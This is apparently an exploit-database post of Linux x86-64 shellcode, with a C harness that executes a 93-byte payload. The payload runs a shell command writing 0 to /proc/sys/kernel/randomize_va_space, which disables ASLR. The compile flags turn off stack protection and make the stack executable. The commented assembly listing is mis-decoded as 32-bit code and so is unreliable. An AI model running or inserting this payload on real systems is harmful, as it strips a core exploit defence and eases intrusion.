Linux/x64 - Disable ASLR Security Shellcode (93 Bytes)

/*
 ASLR (Address Space Layout Randomization) Disable Shellcode Language C & ASM - Linux/x86_64

 Author : Kağan Çapar
 contact: kagancapar@gmail.com
 shellcode len : 93 bytes
 compilation: gcc -fno-stack-protector -z execstack [.c] -o []
 
 Test:
 run shellcode (./aslr etc.)
 check : cat /proc/sys/kernel/randomize_va_space
 you will see "0"

 Assembly:

 global _start          
 section .ASLR
 _start:

 #6A3B              push byte +0x3b
 #58                pop eax
 #99                cdq
 #48                dec eax
 #BB2F62696E        mov ebx,0x6e69622f
 #2F                das
 #7368              jnc 0x75
 #005348            add [ebx+0x48],dl
 #89E7              mov edi,esp
 #682D630000        push dword 0x632d
 #48                dec eax
 #89E6              mov esi,esp
 #52                push edx
 #E836000000        call 0x56
 #6563686F          arpl [gs:eax+0x6f],bp
 #2030              and [eax],dh
 #207C2073          and [eax+0x73],bh
 #7564              jnz 0x90
 #6F                outsd
 #20746565          and [ebp+0x65],dh
 #202F              and [edi],ch
 #7072              jo 0xa7
 #6F                outsd
 #632F              arpl [edi],bp
 #7379              jnc 0xb3
 #732F              jnc 0x6b
 #6B65726E          imul esp,[ebp+0x72],byte +0x6e
 #656C              gs insb
 #2F                das
 #7261              jc 0xa6
 #6E                outsb
 #646F              fs outsd
 #6D                insd
 #697A655F76615F    imul edi,[edx+0x65],dword 0x5f61765f
 #7370              jnc 0xc2
 #61                popa
 #636500            arpl [ebp+0x0],sp
 #56                push esi
 #57                push edi
 #48                dec eax
 #89E6              mov esi,esp
 #0F05              syscall

*/

#include <stdio.h>
#include <string.h>

unsigned char ASLR[] = \
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x36\x00"
"\x00\x00\x65\x63\x68\x6f\x20\x30\x20\x7c\x20\x73\x75\x64\x6f"
"\x20\x74\x65\x65\x20\x2f\x70\x72\x6f\x63\x2f\x73\x79\x73\x2f"
"\x6b\x65\x72\x6e\x65\x6c\x2f\x72\x61\x6e\x64\x6f\x6d\x69\x7a"
"\x65\x5f\x76\x61\x5f\x73\x70\x61\x63\x65\x00\x56\x57\x48\x89"
"\xe6\x0f\x05";

int main()
{
 printf("Shellcode len: %d\n", strlen(ASLR));
 
 int (*ret)() = (int(*)())ASLR;
 
 ret();
 
}